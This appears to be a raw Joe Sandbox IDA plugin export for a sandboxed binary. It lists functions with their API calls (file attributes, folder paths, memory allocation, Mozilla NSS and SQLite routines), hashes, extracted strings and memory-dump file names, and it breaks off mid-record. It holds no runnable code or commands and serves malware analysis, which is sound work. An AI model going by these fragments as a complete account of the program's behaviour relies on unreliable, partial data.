Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: f7027a317207234357de7cd09154a85c936d294741f0bb85d4a7f6cdef5221fa
Instruction ID: 41624c37510d8ab246bd65e49a073eff7914a3adb888a84653a7a5b344d00caf
Opcode Fuzzy Hash: f7027a317207234357de7cd09154a85c936d294741f0bb85d4a7f6cdef5221fa
Instruction Fuzzy Hash: 0FF0E2B1681308BBEB14AAB4AC59FAEB79CF705B05F300448F500E3280D5719E01CBA0

Function 00798F20 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00790277,?,00000000,?,00000000,007A0DB2,007A0DAF), ref: 00798F2F

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 7f88e08fd10a91bdda5d76305dd30230f5a2a427c52e2a20bf162b743bae7a00
Instruction ID: b483d850f58a4f458e7c4c6bffd66c4da1b16f611c80c1be62c8864da5f189c2
Opcode Fuzzy Hash: 7f88e08fd10a91bdda5d76305dd30230f5a2a427c52e2a20bf162b743bae7a00
Instruction Fuzzy Hash: 0EF03971D0420CEBCF04EFA4E449AACBB76EB01310F1082DAE82967290DB385B45CF82

Function 00798F70 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00798F9B

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: c2dc20bd6ba70ad10f11639be3882c1458b364fa4ec42be5db46f80e191561e2
Instruction ID: 659f3c596710f67790250521d669b631a4c5337360c5d2c9129635c57fe98ee3
Opcode Fuzzy Hash: c2dc20bd6ba70ad10f11639be3882c1458b364fa4ec42be5db46f80e191561e2
Instruction Fuzzy Hash: 03E01A71A4434CBBDB91EB90DC96FEE776CEB44B01F004295BA0C9B1C0DE70AB858B91

Function 00798FC0 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00798FE2

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 6f8bd62c8fb4746a32fd17d8b50a91da8883e51879f44aa740af29d80db2299d
Instruction ID: 8d86df104d33c35ceb89f438e2d6500185b4777ad08ad499a97f33474853f7d6
Opcode Fuzzy Hash: 6f8bd62c8fb4746a32fd17d8b50a91da8883e51879f44aa740af29d80db2299d
Instruction Fuzzy Hash: 7601F634904208EBDF15CF9CE585BACBBB1EF04308F248088EA156B381D379AE84EF55

Function 00789910 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,007908B9,?,?), ref: 00789918

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 9f8d36a8c65ae06d33021daf49171c2b3aac42213fa631503b0d422ed22b841c
Instruction ID: 5372b79d731b519e487543519a54a63bb9b38bdfebd13287ae1756f70cc4ffd8
Opcode Fuzzy Hash: 9f8d36a8c65ae06d33021daf49171c2b3aac42213fa631503b0d422ed22b841c
Instruction Fuzzy Hash: 95F089B4D40208FFDB00EFE8D84AB9EB7B4DB44300F108499FA15D7241E674AB14CB91

Non-executed Functions

Function 6C6D6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C822120,6C6D7E60), ref: 6C6D6EBC
TlsGetValue.KERNEL32 ref: 6C6D6EDF
EnterCriticalSection.KERNEL32(?), ref: 6C6D6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C6D6F25

Part of subcall function 6C6AA900: TlsGetValue.KERNEL32(00000000,?,6C8214E4,?,6C644DD9), ref: 6C6AA90F
Part of subcall function 6C6AA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C6AA94F

PR_Unlock.NSS3 ref: 6C6D6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C6D6FA9
TlsGetValue.KERNEL32 ref: 6C6D70B4
EnterCriticalSection.KERNEL32(?), ref: 6C6D70C8
PR_CallOnce.NSS3(6C8224C0,6C717590), ref: 6C6D7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6D7117
SECOID_Init.NSS3 ref: 6C6D7128
PORT_Alloc_Util.NSS3(00000057), ref: 6C6D714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6D717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6D71A9
PR_NotifyAllCondVar.NSS3 ref: 6C6D71CF
PR_Unlock.NSS3 ref: 6C6D71DD
free.MOZGLUE(?), ref: 6C6D71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6D7208
free.MOZGLUE(00000000), ref: 6C6D7221
free.MOZGLUE(00000001), ref: 6C6D7235
TlsGetValue.KERNEL32 ref: 6C6D724A
EnterCriticalSection.KERNEL32(?), ref: 6C6D725E
PR_NotifyCondVar.NSS3 ref: 6C6D7273
PR_Unlock.NSS3 ref: 6C6D7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C6D7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6D72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6D72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6D72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6D7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6D7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6D7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6D7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6D7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6D7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C810148,,defaultModDB,internalKeySlot), ref: 6C6D74CC
free.MOZGLUE(00000000), ref: 6C6D7513
free.MOZGLUE(00000000), ref: 6C6D751B
free.MOZGLUE(00000000), ref: 6C6D7528
free.MOZGLUE(00000000), ref: 6C6D753C
free.MOZGLUE(00000000), ref: 6C6D7550
free.MOZGLUE(00000000), ref: 6C6D7561
free.MOZGLUE(00000000), ref: 6C6D7572
free.MOZGLUE(00000000), ref: 6C6D7583
free.MOZGLUE(00000000), ref: 6C6D7594
free.MOZGLUE(00000000), ref: 6C6D75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C6D75BD
free.MOZGLUE(00000000), ref: 6C6D75C8
free.MOZGLUE(00000000), ref: 6C6D75F1
PR_NewLock.NSS3 ref: 6C6D7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C6D7686
PR_NewLock.NSS3 ref: 6C6D76A2

Part of subcall function 6C7898D0: calloc.MOZGLUE(00000001,00000084,6C6B0936,00000001,?,6C6B102C), ref: 6C7898E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C6D76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C6D7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C6D771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C6D7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C6D774A
DeleteCriticalSection.KERNEL32(?), ref: 6C6D7770
free.MOZGLUE(?), ref: 6C6D7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6D779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6D77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C6D77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6D77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C6D7821
PORT_Alloc_Util.NSS3(?), ref: 6C6D7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C6D785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6D786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C6D78AC
free.MOZGLUE(00000000), ref: 6C6D78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C6D78F3
free.MOZGLUE(00000000), ref: 6C6D78FC
free.MOZGLUE(00000000), ref: 6C6D791C

Part of subcall function 6C6B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C64204A), ref: 6C6B07AD
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C64204A), ref: 6C6B07CD
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C64204A), ref: 6C6B07D6
Part of subcall function 6C6B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C64204A), ref: 6C6B07E4
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,6C64204A), ref: 6C6B0864
Part of subcall function 6C6B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6B0880
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C64204A), ref: 6C6B08CB
Part of subcall function 6C6B07A0: TlsGetValue.KERNEL32(?,?,6C64204A), ref: 6C6B08D7
Part of subcall function 6C6B07A0: TlsGetValue.KERNEL32(?,?,6C64204A), ref: 6C6B08FB

Strings

dbm:, xrefs: 6C6D7716
extern:, xrefs: 6C6D772B
,defaultModDB,internalKeySlot, xrefs: 6C6D748D, 6C6D74AA
kbi., xrefs: 6C6D7886
NSS Internal Module, xrefs: 6C6D74A2, 6C6D74C6
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C6D74C7
sql:, xrefs: 6C6D76FE
rdb:, xrefs: 6C6D7744
dll, xrefs: 6C6D788E
Spac, xrefs: 6C6D7389

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 2ae7ab1e1afabfedb3ecdb329e572852724f07a7ebe2141fdbf5cb44a7c989c4
Instruction ID: c7480a9b033b18730ed4db4393117bb404ba1e24a0b53ed95f2f4b9debb1d5da
Opcode Fuzzy Hash: 2ae7ab1e1afabfedb3ecdb329e572852724f07a7ebe2141fdbf5cb44a7c989c4
Instruction Fuzzy Hash: 195212B1E002459BEF218F64CD09BAA7BB4AF0530CF164138ED09A6B45E735F954CBDA

Function 6C6E6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C7EA8EC,0000006C), ref: 6C6E6DC6
memcpy.VCRUNTIME140(?,6C7EA958,0000006C), ref: 6C6E6DDB
memcpy.VCRUNTIME140(?,6C7EA9C4,00000078), ref: 6C6E6DF1
memcpy.VCRUNTIME140(?,6C7EAA3C,0000006C), ref: 6C6E6E06
memcpy.VCRUNTIME140(?,6C7EAAA8,00000060), ref: 6C6E6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E6E38

Part of subcall function 6C76C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C76C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C6E6E76
TlsGetValue.KERNEL32 ref: 6C6E726F
EnterCriticalSection.KERNEL32(?), ref: 6C6E7283

Strings

!, xrefs: 6C6E7123

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 5997556a70807fad91800f2b8de74d460691ab4f689d984deb845f7681362867
Instruction ID: c87d299993f4400a69f4cd4df9cc3144f6aeb9656ad25b0cc04fbf0f71d48e2f
Opcode Fuzzy Hash: 5997556a70807fad91800f2b8de74d460691ab4f689d984deb845f7681362867
Instruction Fuzzy Hash: B27291B5D0A2199FDF60CF28CC887D9BBB5AF49308F1441AAD90CA7741D731AA85CF94

Function 6C653C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C653C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C653D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C653EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C653ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C653F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C654052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C65406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C65410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C65449C

Strings

database corruption, xrefs: 6C654490, 6C6544F4, 6C654599, 6C654764, 6C654804
%s at line %d of [%.10s], xrefs: 6C654495, 6C6544F9, 6C65459E, 6C654769, 6C654809
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C654452, 6C654486, 6C6544EA, 6C654571, 6C654580, 6C65458F, 6C65475A, 6C6547FA

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: dad2bceb5ab5b3cee6d40e1d3f7a39c9ade6a170d1c2a6f7aaf2ec4cd3ba8cc6
Instruction ID: 187dfbcdada305454e2ebba8bb7e32cd0e459e5c91717f9db9d0bb43ef91ee22
Opcode Fuzzy Hash: dad2bceb5ab5b3cee6d40e1d3f7a39c9ade6a170d1c2a6f7aaf2ec4cd3ba8cc6
Instruction Fuzzy Hash: AD82BC71A002058FCB04CF68C584BAAB7F2FF49318F7581A9D905ABB51D771EC62CB99

Function 6C72AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C72ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C72ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C72ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C72AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C72ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C72ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C72ADF0

Part of subcall function 6C76C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C76C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C72B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C72B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C72B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C72B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C72B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C72B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C72B40C

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 78625c4792970685224188b3802378569dda8fca8d4f1500704b40d5f29ffa50
Instruction ID: 0fa3fdf340c4de76b49b4030bbaf1a0e5793856ced33bbc308fb2df738ad8378
Opcode Fuzzy Hash: 78625c4792970685224188b3802378569dda8fca8d4f1500704b40d5f29ffa50
Instruction Fuzzy Hash: 4822D070904300AFE710CF14CE49B9A77E1AF8431CF24853CE8595BB92E77AE959CB92

Function 6C6AECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6AED38

Part of subcall function 6C644F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C644FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C6AEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C6AEFE4

Part of subcall function 6C76DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C645001,?,00000003,00000000), ref: 6C76DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C6AF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C6AF129
sqlite3_mprintf.NSS3(optimize), ref: 6C6AF1D1
sqlite3_free.NSS3(?), ref: 6C6AF368

Strings

simple, xrefs: 6C6AED79
offsets, xrefs: 6C6AEFAF, 6C6AEFDF, 6C6AF01F
fts3_tokenizer, xrefs: 6C6AEE1A, 6C6AEEA8
optimize, xrefs: 6C6AF199, 6C6AF1CC, 6C6AF211
snippet, xrefs: 6C6AEF05, 6C6AEF37, 6C6AEF7C
fts3, xrefs: 6C6AF247
fts4, xrefs: 6C6AF2AD
fts3tokenize, xrefs: 6C6AF30F
unicode61, xrefs: 6C6AEDB5
porter, xrefs: 6C6AED97
fts4aux, xrefs: 6C6AECF9
matchinfo, xrefs: 6C6AF04F, 6C6AF082, 6C6AF0C2, 6C6AF0F2, 6C6AF124, 6C6AF169

Memory Dump Source

